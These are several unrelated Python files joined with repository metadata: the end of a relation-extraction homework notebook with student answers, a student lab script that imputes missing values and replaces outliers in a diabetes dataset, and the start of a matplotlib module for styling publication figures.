  for ex in corpus.get_examples_for_entities(kbt.obj, kbt.sbj):\n        for word in ex.middle.split(' '):\n            feature_counter[word] += 1\n    return feature_counter\n\n\n# In[ ]:\n\n\nfeaturizers = [simple_bag_of_words_featurizer]\n\n\n# In[ ]:\n\n\nmodel_factory = lambda: LogisticRegression(fit_intercept=True, solver='liblinear')\n\n\n# In[ ]:\n\n\nbaseline_results = rel_ext.experiment(\n    splits,\n    train_split='tiny',\n    test_split='tiny',\n    featurizers=featurizers,\n    model_factory=model_factory,\n    verbose=True)\n\n\n# Studying model weights might yield insights:\n\n# In[ ]:\n\n\nrel_ext.examine_model_weights(baseline_results)\n\n\n# ### Distributed representations\n# \n# This simple baseline sums the GloVe vector representations for all of the words in the \"middle\" span and feeds those representations into the standard `LogisticRegression`-based `model_factory`. The crucial parameter that enables this is `vectorize=False`. This essentially says to `rel_ext.experiment` that your featurizer or your model will do the work of turning examples into vectors; in that case, `rel_ext.experiment` just organizes these representations by relation type.\n\n# In[ ]:\n\n\nGLOVE_HOME = os.path.join('data', 'glove.6B')\n\n\n# In[ ]:\n\n\nglove_lookup = utils.glove2dict(\n    os.path.join(GLOVE_HOME, 'glove.6B.300d.txt'))\n\n\n# In[ ]:\n\n\ndef glove_middle_featurizer(kbt, corpus, np_func=np.sum):\n    reps = []\n    for ex in corpus.get_examples_for_entities(kbt.sbj, kbt.obj):\n        for word in ex.middle.split():\n            rep = glove_lookup.get(word)\n            if rep is not None:\n                reps.append(rep)\n    # A random representation of the right dimensionality if the\n    # example happens not to overlap with GloVe's vocabulary:\n    if len(reps) == 0:\n        dim = len(next(iter(glove_lookup.values())))                \n        return utils.randvec(n=dim)\n    else:\n        return np_func(reps, axis=0)\n\n\n# In[ ]:\nglove_middle_featurizer(kb.kb_triples[0], corpus)\n\n\nglove_results = rel_ext.experiment(\n    splits,\n    train_split='tiny',\n    test_split='tiny',\n    featurizers=[glove_middle_featurizer],    \n    vectorize=False, # Crucial for this featurizer!\n    verbose=True)\n\n\n# With the same basic code design, one can also use the PyTorch models included in the course repo, or write new ones that are better aligned with the task. For those models, it's likely that the featurizer will just return a list of tokens (or perhaps a list of lists of tokens), and the model will map those into vectors using an embedding.\n\n# ## Homework questions\n# \n# Please embed your homework responses in this notebook, and do not delete any cells from the notebook. (You are free to add as many cells as you like as part of your responses.)\n\n# ### Different model factory [1 points]\n# \n# The code in `rel_ext` makes it very easy to experiment with other classifier models: one need only redefine the `model_factory` argument. This question asks you to assess a [Support Vector Classifier](https://scikit-learn.org/stable/modules/generated/sklearn.svm.SVC.html).\n# \n# __To submit:__ A wrapper function `run_svm_model_factory` that does the following: \n# \n# 1. Uses `rel_ext.experiment` with the model factory set to one based in an `SVC` with `kernel='linear'` and all other arguments left with default values. \n# 1. Trains on the 'train' part of `splits`.\n# 1. Assesses on the `dev` part of `splits`.\n# 1. Uses `featurizers` as defined above. \n# 1. Returns the return value of `rel_ext.experiment` for this set-up.\n# \n# The function `test_run_svm_model_factory` will check that your function conforms to these general specifications.\n\n# In[ ]:\n\n\ndef run_svm_model_factory():\n    \n    ##### YOUR CODE HERE\n    from sklearn.svm import SVC\n    glove_results = rel_ext.experiment(\n        splits,\n        train_split='tiny',\n        test_split='tiny',\n        model_factory=(lambda: SVC(kernel='linear')),\n        featurizers=[glove_middle_featurizer],\n        vectorize=False,  # Crucial for this featurizer!\n        verbose=True)\n\n    return glove_results\n\n\n# In[ ]:\n\n\ndef test_run_svm_model_factory(run_svm_model_factory):\n    results = run_svm_model_factory()\n    assert 'featurizers' in results,         \"The return value of `run_svm_model_factory` seems not to be correct\"\n    # Check one of the models to make sure it's an SVC:\n    assert 'SVC' in results['models']['adjoins'].__class__.__name__,         \"It looks like the model factor wasn't set to use an SVC.\"    \n\n\n# In[ ]:\n\n\nif 'IS_GRADESCOPE_ENV' not in os.environ:\n    test_run_svm_model_factory(run_svm_model_factory)\n\n\n# ### Directional unigram features [1.5 points]\n# \n# The current bag-of-words representation makes no distinction between \"forward\" and \"reverse\" examples. But, intuitively, there is big difference between _X and his son Y_ and _Y and his son X_. This question asks you to modify `simple_bag_of_words_featurizer` to capture these differences. \n# \n# __To submit:__\n# \n# 1. A feature function `directional_bag_of_words_featurizer` that is just like `simple_bag_of_words_featurizer` except that it distinguishes \"forward\" and \"reverse\". To do this, you just need to mark each word feature for whether it is derived from a subject\u2013object example or from an object\u2013subject example.  The included function `test_directional_bag_of_words_featurizer` should help verify that you've done this correctly.\n# \n# 2. A call to `rel_ext.experiment` with `directional_bag_of_words_featurizer` as the only featurizer. (Aside from this, use all the default values for `rel_ext.experiment` as exemplified above in this notebook.)\n# \n# 3. `rel_ext.experiment` returns some of the core objects used in the experiment. How many feature names does the `vectorizer` have for the experiment run in the previous step? Include the code needed for getting this value. (Note: we're partly asking you to figure out how to get this value by using the sklearn documentation, so please don't ask how to do it!)\n\n# In[ ]:\n\n\ndef directional_bag_of_words_featurizer(kbt, corpus, feature_counter): \n    # Append these to the end of the keys you add/access in \n    # `feature_counter` to distinguish the two orders. You'll\n    # need to use exactly these strings in order to pass \n    # `test_directional_bag_of_words_featurizer`.\n    subject_object_suffix = \"_SO\"\n    object_subject_suffix = \"_OS\"\n    \n    ##### YOUR CODE HERE\n    for ex in corpus.get_examples_for_entities(kbt.sbj, kbt.obj):\n        for word in ex.middle.split(' '):\n            feature_counter[word + subject_object_suffix] += 1\n    for ex in corpus.get_examples_for_entities(kbt.obj, kbt.sbj):\n        for word in ex.middle.split(' '):\n            feature_counter[word + object_subject_suffix] += 1\n\n    return feature_counter\n\n\n# Call to `rel_ext.experiment`:\n##### YOUR CODE HERE    \nfeaturizers = [directional_bag_of_words_featurizer]\ndirectional_results = rel_ext.experiment(\n    splits,\n    train_split='tiny',\n    test_split='tiny',\n    featurizers=featurizers,\n    model_factory=model_factory,\n    verbose=True)\n\nv = directional_results['vectorizer']\nlen(v.get_feature_names())  # 1565\n\n# In[ ]:\n\n\ndef test_directional_bag_of_words_featurizer(corpus):\n    from collections import defaultdict\n    kbt = rel_ext.KBTriple(rel='worked_at', sbj='Randall_Munroe', obj='xkcd')\n    feature_counter = defaultdict(int)\n    # Make sure `feature_counter` is being updated, not reinitialized:\n    feature_counter['is_OS'] += 5\n    feature_counter = directional_bag_of_words_featurizer(kbt, corpus, feature_counter)\n    expected = defaultdict(\n        int, {'is_OS':6,'a_OS':1,'webcomic_OS':1,'created_OS':1,'by_OS':1})\n    assert feature_counter == expected,         \"Expected:\\n{}\\nGot:\\n{}\".format(expected, feature_counter)\n\n\n# In[ ]:\n\n\nif 'IS_GRADESCOPE_ENV' not in os.environ:\n    test_directional_bag_of_words_featurizer(corpus)\n\n\n# ### The part-of-speech tags of the \"middle\" words [1.5 points]\n# \n# Our corpus distribution contains part-of-speech (POS) tagged versions of the core text spans. Let's begin to explore whether there is information in these sequences, focusing on `middle_POS`.\n# \n# __To submit:__\n# \n# 1. A feature function `middle_bigram_pos_tag_featurizer` that is just like `simple_bag_of_words_featurizer` except that it creates a feature for bigram POS sequences. For example, given \n# \n#   `The/DT dog/N napped/V`\n#   \n#    we obtain the list of bigram POS sequences\n#   \n#    `b = ['<s> DT', 'DT N', 'N V', 'V </s>']`. \n#    \n#    Of course, `middle_bigram_pos_tag_featurizer` should return count dictionaries defined in terms of such bigram POS lists, on the model of `simple_bag_of_words_featurizer`.  Don't forget the start and end tags, to model those environments properly! The included function `test_middle_bigram_pos_tag_featurizer` should help verify that you've done this correctly.\n# \n# 2. A call to `rel_ext.experiment` with `middle_bigram_pos_tag_featurizer` as the only featurizer. (Aside from this, use all the default values for `rel_ext.experiment` as exemplified above in this notebook.)\n\n# In[ ]:\n\n\ndef middle_bigram_pos_tag_featurizer(kbt, corpus, feature_counter):\n    \n    ##### YOUR CODE HERE\n    for ex in corpus.get_examples_for_entities(kbt.sbj, kbt.obj):\n        for tag_bigram in get_tag_bigrams(ex.middle_POS):\n            feature_counter[tag_bigram] += 1\n\n    for ex in corpus.get_examples_for_entities(kbt.obj, kbt.sbj):\n        for tag_bigram in get_tag_bigrams(ex.middle_POS):\n            feature_counter[tag_bigram] += 1\n\n    return feature_counter\n\n\ndef get_tag_bigrams(s):\n    \"\"\"Suggested helper method for `middle_bigram_pos_tag_featurizer`.\n    This should be defined so that it returns a list of str, where each \n    element is a POS bigram.\"\"\"\n    # The values of `start_symbol` and `end_symbol` are defined\n    # here so that you can use `test_middle_bigram_pos_tag_featurizer`.\n    start_symbol = \"<s>\"\n    end_symbol = \"</s>\"\n    \n    ##### YOUR CODE HERE\n    tags = [start_symbol] + get_tags(s) + [end_symbol]\n\n    tag_bigrams = []\n    for i in range(len(tags) - 1):\n        tag_bigrams.append(tags[i] + \" \" + tags[i + 1])\n\n    return tag_bigrams\n    \ndef get_tags(s): \n    \"\"\"Given a sequence of word/POS elements (lemmas), this function\n    returns a list containing just the POS elements, in order.    \n    \"\"\"\n    return [parse_lem(lem)[1] for lem in s.strip().split(' ') if lem]\n\n\ndef parse_lem(lem):\n    \"\"\"Helper method for parsing word/POS elements. It just splits\n    on the rightmost / and returns (word, POS) as a tuple of str.\"\"\"\n    return lem.strip().rsplit('/', 1)  \n\n# Call to `rel_ext.experiment`:\n##### YOUR CODE HERE\nfeaturizers = [middle_bigram_pos_tag_featurizer]\nmiddle_bigram_pos_results = rel_ext.experiment(\n    splits,\n    train_split='tiny',\n    test_split='tiny',\n    featurizers=featurizers,\n    model_factory=model_factory,\n    verbose=True)\n\n\n# In[ ]:\n\n\ndef test_middle_bigram_pos_tag_featurizer(corpus):\n    from collections import defaultdict\n    kbt = rel_ext.KBTriple(rel='worked_at', sbj='Randall_Munroe', obj='xkcd')\n    feature_counter = defaultdict(int)\n    # Make sure `feature_counter` is being updated, not reinitialized:\n    feature_counter['<s> VBZ'] += 5\n    feature_counter = middle_bigram_pos_tag_featurizer(kbt, corpus, feature_counter)\n    expected = defaultdict(\n        int, {'<s> VBZ':6,'VBZ DT':1,'DT JJ':1,'JJ VBN':1,'VBN IN':1,'IN </s>':1})\n    assert feature_counter == expected,         \"Expected:\\n{}\\nGot:\\n{}\".format(expected, feature_counter)\n\n\n# In[ ]:\n\n\nif 'IS_GRADESCOPE_ENV' not in os.environ:\n    test_middle_bigram_pos_tag_featurizer(corpus)\n\n\n# ### Bag of Synsets [2 points]\n# \n# The following allows you to use NLTK's WordNet API to get the synsets compatible with _dog_ as used as a noun:\n# \n# ```\n# from nltk.corpus import wordnet as wn\n# dog = wn.synsets('dog', pos='n')\n# dog\n# [Synset('dog.n.01'),\n#  Synset('frump.n.01'),\n#  Synset('dog.n.03'),\n#  Synset('cad.n.01'),\n#  Synset('frank.n.02'),\n#  Synset('pawl.n.01'),\n#  Synset('andiron.n.01')]\n# ```\n# \n# This question asks you to create synset-based features from the word/tag pairs in `middle_POS`.\n# \n# __To submit:__\n# \n# 1. A feature function `synset_featurizer` that is just like `simple_bag_of_words_featurizer` except that it returns a list of synsets derived from `middle_POS`. Stringify these objects with `str` so that they can be `dict` keys. Use `convert_tag` (included below) to convert tags to `pos` arguments usable by `wn.synsets`. The included function `test_synset_featurizer` should help verify that you've done this correctly.\n# \n# 2. A call to `rel_ext.experiment` with `synset_featurizer` as the only featurizer. (Aside from this, use all the default values for `rel_ext.experiment`.)\n\n# In[ ]:\n\n\nfrom nltk.corpus import wordnet as wn\n\ndef synset_featurizer(kbt, corpus, feature_counter):\n    \n    ##### YOUR CODE HERE\n    for ex in corpus.get_examples_for_entities(kbt.sbj, kbt.obj):\n        for synset in get_synsets(ex.middle_POS):\n            feature_counter[str(synset)] += 1\n\n    for ex in corpus.get_examples_for_entities(kbt.obj, kbt.sbj):\n        for synset in get_synsets(ex.middle_POS):\n            feature_counter[str(synset)] += 1\n\n    return feature_counter\n\n\ndef get_synsets(s):\n    \"\"\"Suggested helper method for `synset_featurizer`. This should\n    be completed so that it returns a list of stringified Synsets \n    associated with elements of `s`.\n    \"\"\"   \n    # Use `parse_lem` from the previous question to get a list of\n    # (word, POS) pairs. Remember to convert the POS strings.\n    wt = [parse_lem(lem) for lem in s.strip().split(' ') if lem]\n    \n    ##### YOUR CODE HERE\n    synsets = []\n    for word_tag in wt:\n        synsets.extend(wn.synsets(word_tag[0], convert_tag(word_tag[1])))\n\n    return synsets\n\ndef convert_tag(t):\n    \"\"\"Converts tags so that they can be used by WordNet:\n    \n    | Tag begins with | WordNet tag |\n    |-----------------|-------------|\n    | `N`             | `n`         |\n    | `V`             | `v`         |\n    | `J`             | `a`         |\n    | `R`             | `r`         |\n    | Otherwise       | `None`      |\n    \"\"\"        \n    if t[0].lower() in {'n', 'v', 'r'}:\n        return t[0].lower()\n    elif t[0].lower() == 'j':\n        return 'a'\n    else:\n        return None    \n\n\n# Call to `rel_ext.experiment`:\n##### YOUR CODE HERE    \nfeaturizers = [synset_featurizer]\nsynset_results = rel_ext.experiment(\n    splits,\n    train_split='tiny',\n    test_split='tiny',\n    featurizers=featurizers,\n    model_factory=model_factory,\n    verbose=True)\n\n\n# In[ ]:\n\n\ndef test_synset_featurizer(corpus):\n    from collections import defaultdict\n    kbt = rel_ext.KBTriple(rel='worked_at', sbj='Randall_Munroe', obj='xkcd')\n    feature_counter = defaultdict(int)\n    # Make sure `feature_counter` is being updated, not reinitialized:\n    feature_counter[\"Synset('be.v.01')\"] += 5\n    feature_counter = synset_featurizer(kbt, corpus, feature_counter)\n    # The full return values for this tend to be long, so we just\n    # test a few examples to avoid cluttering up this notebook.\n    test_cases = {\n        \"Synset('be.v.01')\": 6,\n        \"Synset('embody.v.02')\": 1\n    }\n    for ss, expected in test_cases.items():   \n        result = feature_counter[ss]\n        assert result == expected,             \"Incorrect count for {}: Expected {}; Got {}\".format(ss, expected, result)\n\n\n# In[ ]:\n\n\nif 'IS_GRADESCOPE_ENV' not in os.environ:\n    test_synset_featurizer(corpus)\n\n\n# ### Your original system [3 points]\n# \n# There are many options, and this could easily grow into a project. Here are a few ideas:\n# \n# - Try out different classifier models, from `sklearn` and elsewhere.\n# - Add a feature that indicates the length of the middle.\n# - Augment the bag-of-words representation to include bigrams or trigrams (not just unigrams).\n# - Introduce features based on the entity mentions themselves. <!-- \\[SPOILER: it helps a lot, maybe 4% in F-score. And combines nicely with the directional features.\\] -->\n# - Experiment with features based on the context outside (rather than between) the two entity mentions \u2014\u00a0that is, the words before the first mention, or after the second.\n# - Try adding features which capture syntactic information, such as the dependency-path features used by Mintz et al. 2009. The [NLTK](https://www.nltk.org/) toolkit contains a variety of [parsing algorithms](http://www.nltk.org/api/nltk.parse.html) that may help.\n# - The bag-of-words representation does not permit generalization across word categories such as names of people, places, or companies. Can we do better using word embeddings such as [GloVe](https://nlp.stanford.edu/projects/glove/)?\n# \n# In the cell below, please provide a brief technical description of your original system, so that the teaching team can gain an understanding of what it does. This will help us to understand your code and analyze all the submissions to identify patterns and strategies.\n\n# In[ ]:\n\n\n# Enter your system description in this cell.\n# Please do not remove this comment.\n\n\n# ## Bake-off [1 point]\n# \n# For the bake-off, we will release a test set. The announcement will go out on the discussion forum. You will evaluate your custom model from the previous question on these new datasets using the function `rel_ext.bake_off_experiment`. Rules:\n# \n# 1. Only one evaluation is permitted.\n# 1. No additional system tuning is permitted once the bake-off has started.\n# \n# The cells below this one constitute your bake-off entry.\n# \n# People who enter will receive the additional homework point, and people whose systems achieve the top score will receive an additional 0.5 points. We will test the top-performing systems ourselves, and only systems for which we can reproduce the reported results will win the extra 0.5 points.\n# \n# Late entries will be accepted, but they cannot earn the extra 0.5 points. Similarly, you cannot win the bake-off unless your homework is submitted on time.\n# \n# The announcement will include the details on where to submit your entry.\n\n# In[ ]:\n\n\n# Enter your bake-off assessment code in this cell. \n# Please do not remove this comment.\nif 'IS_GRADESCOPE_ENV' not in os.environ:\n    pass\n    # Please enter your code in the scope of the above conditional.\n    ##### YOUR CODE HERE\n\n\n\n# In[ ]:\n\n\n# On an otherwise blank line in this cell, please enter\n# your macro-average f-score (an F_0.5 score) as reported \n# by the code above. Please enter only a number between \n# 0 and 1 inclusive. Please do not remove this comment.\nif 'IS_GRADESCOPE_ENV' not in os.environ:\n    pass\n    # Please enter your score in the scope of the above conditional.\n    ##### YOUR CODE HERE\n\n\n", "meta": {"hexsha": "0d5b917a316aa7fddfa6d8a726934950fb15b367", "size": 21317, "ext": "py", "lang": "Python", "max_stars_repo_path": "hw_rel_ext_trials1.py", "max_stars_repo_name": "abgoswam/cs224u", "max_stars_repo_head_hexsha": "33e1a22d1c9586b473f43b388163a74264e9258a", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "hw_rel_ext_trials1.py", "max_issues_repo_name": "abgoswam/cs224u", "max_issues_repo_head_hexsha": "33e1a22d1c9586b473f43b388163a74264e9258a", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "hw_rel_ext_trials1.py", "max_forks_repo_name": "abgoswam/cs224u", "max_forks_repo_head_hexsha": "33e1a22d1c9586b473f43b388163a74264e9258a", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.8872053872, "max_line_length": 480, "alphanum_fraction": 0.7047896045, "include": true, "reason": "import numpy", "num_tokens": 5482, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.35936414516010196, "lm_q2_score": 0.19682620128743875, "lm_q1q2_score": 0.07073227957077058}}
{"text": "\"\"\"\n        Assignment-2\n        Name - Gajraj Singh Chouhan\n        Roll No - B19130\n        Branch - DSE\n        Mobile No - +91-9351159849\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom functions import properties, plot_rmse\n\n# imports\n\ndata = pd.read_csv('pima_indians_diabetes_miss.csv')\noriginal_data = pd.read_csv('pima_indians_diabetes_original.csv')\n\n# Question 1\n\nmissing_val = data.isna().sum()\n# We can count the missing values by using isna(), adding all the cells in a column which would a NaN value (isna() would give each cell 1 or 0 whether it is or is-not a NaN value).\nmissing_val.plot.bar(rot=0)\n# plotting the missing values.\n# adding the labels and title.\nplt.title(\"Missing Values in the Attributes\")\nplt.xlabel(\"Attributes\")\nplt.ylabel(\"Missing Values\")\nplt.savefig(\"Q1-Barplot.png\")\nplt.close()\n\n# Question 2a\nprint('Question 2a', end='\\n\\n')\n\ncol = data.shape[1] # number of columns\nto_drop = 3 # inverse of 1/3rd rows to drop\nfiltered = data.isna().sum(axis=1)\n# finding how many NaN values are in each row by summing the boolean values for each row. (using axis=1 will do sum of each row)\n# Now we have a dataframe consisting of number of NaN values in that row \n\nfiltered = filtered[(filtered * to_drop) >= col]\n# We can filter the rows to drop, by using the condition that number of NaN values must be greater or equal to 1/3rd of no of columns.\n# This will give us True or False Boolean Value if that row is to be dropped or not.\n\nprint(f\"Total number of tuples deleted = {filtered.size}\")\n\nfiltered = filtered.index\ndata = data.drop(filtered, axis=0)\n# Now we can drop the rows in the original DataFrame using their indexes we got in the previous step.\n\nprint(f\"Indices of rows dropped (0-based): \")\nprint(filtered.to_list());print()\n\n# Question 2b\nprint('Question 2b', end='\\n\\n')\n\nfiltered = data[data['class'].isna()]\n# rows whose 'class' attribute is NaN using conditional filtering\nfiltered = filtered.index\n# getting index of rows which we will delete\n\nprint(f\"Total number of tuples deleted = {filtered.size}\")\n\ndata = data.drop(filtered, axis=0) # remove the rows\n\nprint(f\"Indices of rows dropped (0-based): \")\nprint(filtered.to_list());print()\n\n# Question 3\nprint('Question 3', end='\\n\\n')\n\ncount_of_NaN = data.isna().sum()\n# again we can use isna() for number of null values.\n\nprint(\"Number of missing values in each attributes: \")\nprint(count_of_NaN.to_frame().T)\n# printing number of missing value per column\n# ignore the first 0, it just the first row number as I am displaying the Series in horizontal way.\nprint(f\"Total number of missing values in the dataFrame : {count_of_NaN.sum()}\");print()\n\n# Question 4a\nprint('Question 4a', end='\\n\\n')\ncolumn_mean = data.mean()\ndata_withmean = data.fillna(column_mean)\n# fillna() will fill the NaN values for each attribute by the mean of that column\n\nprint('RMSE of Original and Mean Filled data')\nplot_rmse(data_withmean, original_data, np.where(pd.isnull(data)), count_of_NaN);print()\n\n# plotting the rmse after replacing the nan values.\nplt.title(\"RMSE of original and mean filled data\")\nplt.savefig(\"Q4-MeanFilled.png\") \nplt.close()\n\n# Question 4b\nprint('Question 4b', end='\\n\\n')\n\ndata_with_interpolate = data.interpolate()\n# by default each column will be filled with data interpolated with linear method.\n\nprint('RMSE of Original and interpolated data')\nplot_rmse(data_with_interpolate, original_data, np.where(pd.isnull(data)), count_of_NaN);print()\n\nplt.title(\"RMSE of original and interpolated data\")\nplt.savefig(\"Q4-Interpolated.png\")\nplt.close()\n\n# Question 4\nprint('Question 4 (comparing the filled data and original) : ', end='\\n\\n')\n\n# Comparing the properties (mean, median, mode, standard-dev...) of the \n# original data and after we filled the values in 4a and 4b.\nprint('Original Data : ')\nprint(properties(original_data).to_string())\nprint('\\nAfter filling data with mean : ')\nprint(properties(data_withmean).to_string())\nprint('\\nAfter interpolating the data : ')\nprint(properties(data_with_interpolate).to_string());print()\n\n\n# Question 5\nprint('Question 5 (Outliers)', end='\\n\\n')\n    \n\ndata_with_interpolate = data.interpolate()\ncolumns = [\"Age\", \"BMI\"]\nquartiles = data_with_interpolate.quantile([0.25, 0.5, 0.75]).loc[:, columns]\n# quantile() will give the required quartiles (0.25, 0.5, 0.75) for required columns\ndata.loc[:, columns].plot.box()\nplt.title(\"Box-Plot of data before replacing outliers with median\")\nplt.savefig(\"Q5-before-BoxPlot.png\")\nplt.close()\n\nfor col in columns:\n    q1, median, q3 = quartiles.loc[:, col].to_list()\n    # quartiles for one column\n    print(f\"Column : {col}\")\n    check_outlier = lambda num : (q1 - (1.5 * (q3 - q1))) < num < (q3 + (1.5 * (q3 - q1)))\n    # this will return boolean value whether a number (\"num\") would be outlier according to the quartiles.\n    for ind, x in enumerate(data_with_interpolate.loc[:, col]):\n        # iterating over the column and checking if it's a outlier.\n        if not check_outlier(x):\n            # if it is a outlier\n            data.loc[data_with_interpolate.index[ind], col] = median\n            # we can change value of a cell to the median of that column from the column name and row index.\n            # data_with_interpolate.index[ind] - row index\n            print(x, end=' ')\n    print()\n\ndata.loc[:, columns].plot.box()\nplt.title(\"Box-Plot of data after replacing outliers with median\")\nplt.savefig(\"Q5-after-BoxPlot.png\")\nplt.close()\n\n\nprint('properties after replacing with median : ')\nprint(properties(data.loc[:, columns]));print()", "meta": {"hexsha": "e30defeeb8e93dea8bc80f9619baf3e4cc5052d4", "size": 5575, "ext": "py", "lang": "Python", "max_stars_repo_path": "Lab Assignment 2/lab2.py", "max_stars_repo_name": "gajrajgchouhan/DS3-Assignments", "max_stars_repo_head_hexsha": "b43937967f80eb3d6d9ebfc6001e0db8da3a2cf8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Lab Assignment 2/lab2.py", "max_issues_repo_name": "gajrajgchouhan/DS3-Assignments", "max_issues_repo_head_hexsha": "b43937967f80eb3d6d9ebfc6001e0db8da3a2cf8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Lab Assignment 2/lab2.py", "max_forks_repo_name": "gajrajgchouhan/DS3-Assignments", "max_forks_repo_head_hexsha": "b43937967f80eb3d6d9ebfc6001e0db8da3a2cf8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.5095541401, "max_line_length": 181, "alphanum_fraction": 0.718206278, "include": true, "reason": "import numpy", "num_tokens": 1417, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4649015713733884, "lm_q2_score": 0.15203224546424315, "lm_q1q2_score": 0.07068002981575135}}
{"text": "\"\"\"\nModule file containing functions that allow to reproduce FIG. 1 of the article\n\n    Interaction of \"Solitons\" in a Collisionless Plasma and the Recurrence of Initial States,\n    N. J. Zabusky and M. D. Kruskal,\n    Phys. Rev. Lett. 15, 240 (1965)\n\nThis module was prepared as a part of the scientific short course\n\n  A brief guide to publication-ready scientific figures using Python's matplotlib\n\nheld during the 2020 seminar week of the Ultrafast Laser Laboratory\nat Institute of Quantum Optics at Leibniz University Hannover.\n\nAuthor: O. Melchert\nDate: 2020-09-08\n\"\"\"\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom matplotlib.gridspec import GridSpec\n\n__author__ = 'Oliver Melchert'\n__date__ = '2020-09-09'\n\ndef fetch_data(path):\n    \"\"\"fetch data\n\n    Reads in data from file in numpy npz-format\n\n    Args:\n      path (str): path to npz-file\n\n    Returns: (x, t, uxt)\n      x (1D array): x samples\n      t (1D array): t samples\n      uxt (2D array): wave profile u(x,t)\n    \"\"\"\n    dat = np.load(path)\n    return dat['x'], dat['t'], dat['uxt']\n\n\ndef set_style():\n    \"\"\"set figure style\n\n    Function that customizes the default style to be conform with the Physical\n    Review style and notation guide [1]. For instructions on how to set the\n    default style using style sheets see [2].\n\n    Notes:\n    - main font size is chosen as 8pt, matching the fontsize of figure captions\n    - fontsize of legends and auxiliary text labels are set to 6pt, exceeding\n      the minimally required pointsize of 4.25 pt. (1.5 mm)\n    - default rc (rc = \"run commands\", i.e. startup information) settings are\n      changed dynamically\n    - the custom font-scheme 'type2' depends on your latex installation and\n      is not guaranteed to run on your specific system\n\n    Refs:\n      [1] https://journals.aps.org/prl/authors\n      [2] https://matplotlib.org/3.3.1/tutorials/introductory/customizing.html\n    \"\"\"\n\n    fig_width_1col = 3.4        # figure width in inch\n    fig_width_2col = 7.0        # figure width in inch\n    fig_aspect_ratio = 0.66     # width to height aspect ratio\n    font_size = 8               # font size in pt\n    font_size_small = 6         # font size in pt\n    font_scheme = 'type2'       # options: \n                                #   None    - default matplotlib fonts\n                                #   'type1' - text: Helvetica, math: Computer modern\n                                #   'type2' - text: Helvetica, math: Helvetica \n\n    mpl.rcParams['figure.figsize'] = fig_width_1col, fig_aspect_ratio*fig_width_1col\n    mpl.rcParams['axes.labelsize'] = font_size\n    mpl.rcParams['font.size'] = font_size\n    mpl.rcParams['legend.fontsize'] = font_size_small\n    mpl.rcParams['xtick.labelsize'] = font_size\n    mpl.rcParams['ytick.labelsize'] = font_size\n    mpl.rcParams['xtick.direction'] = 'out'\n    mpl.rcParams['ytick.direction'] = 'out'\n    mpl.rcParams['lines.linewidth'] = 1.0\n    mpl.rcParams['axes.linewidth'] =  0.5\n\n    if font_scheme == 'type1':\n        mpl.rcParams['text.usetex'] = True\n        mpl.rcParams['font.family'] = 'sans-serif'\n        mpl.rcParams['font.sans-serif'] = 'Helvetica'\n        mpl.rcParams['mathtext.fontset'] = 'cm'\n\n    if font_scheme == 'type2':\n        mpl.rcParams['text.usetex'] = True\n        mpl.rcParams['text.latex.preamble'] = [\n           r'\\usepackage{siunitx}',\n           r'\\sisetup{detect-all}',\n           r'\\usepackage{helvet}',\n           r'\\usepackage{sansmath}',\n           r'\\sansmath'\n        ]\n\n\ndef set_circle(ax, x0, y0, label):\n    \"\"\"set circle\n\n    Function that generates a circle with text-label at its center.\n    For more options on scatter plots, see [1], for more options on\n    setting text, see [2]\n\n    Refs:\n      [1] https://matplotlib.org/3.3.1/api/_as_gen/matplotlib.pyplot.scatter.html\n      [2] https://matplotlib.org/3.1.1/api/_as_gen/matplotlib.pyplot.text.html\n\n    Args:\n      ax (object): figure part for which the labeled circle is intended\n      x0 (float): x-position for center of circle\n      y0 (float): y-position for center of circle\n      label (str): text that should be displayed within circle\n    \"\"\"\n    # -- scatter plot consisting of a single object\n    ax.scatter(x0, y0, s=50, linewidth=0.75, facecolors='none', edgecolor='black', zorder=10)\n    # -- place text at the center of the scatter plot object\n    ax.text(x0, y0, label, backgroundcolor='none', ha='center', va='center', color='black', zorder=10, fontsize=6)\n\n\ndef set_legend(ax, lines):\n    \"\"\"set legend\n\n    Function generating a custom legend, see [1] for more options\n\n    Refs:\n      [1] https://matplotlib.org/3.1.1/api/_as_gen/matplotlib.pyplot.legend.html\n\n    Args:\n      ax (object): figure part for which the legend is intended\n      lines (list): list of  Line2D objects\n    \"\"\"\n    # -- extract labels from lines\n    labels = [x.get_label() for x in lines]\n    # -- customize legend \n    ax.legend(lines,                # list of Line2D objects\n              labels,               # labels \n              title = '',           # title shown on top of legend \n              loc = 0,              # location of the legend\n              ncol = 1,             # number of columns\n              labelspacing = 0.3,   # vertical space between handles in font-size units\n              borderpad = 0.3,      # distance to legend border in font-size units\n              handletextpad = 0.6,  # distance between handle and label in font-size units\n              handlelength = 2.0,   # length of handle in font-size units\n              frameon = False       # remove background patch\n              )\n\n\ndef set_grid(ax):\n    \"\"\"set grid\n\n    Function generating a custom grid, see [1] for more options\n\n    Refs:\n      [1] https://matplotlib.org/3.1.1/api/_as_gen/matplotlib.pyplot.grid.html\n\n    Args:\n      ax (object): figure part for which the grid is intended\n    \"\"\"\n    #ax.set_facecolor('lightgray')\n    ax.grid(which = 'major',        # grid lines at major ticks only\n            linestyle = '-',        # solid line\n            linewidth = 0.5,        # width of gridlines\n            color = 'lightgray',    # color of gridlines\n            zorder = 0\n            )\n\n\ndef save_figure(fig_format = None, fig_name = 'test'):\n    \"\"\" save 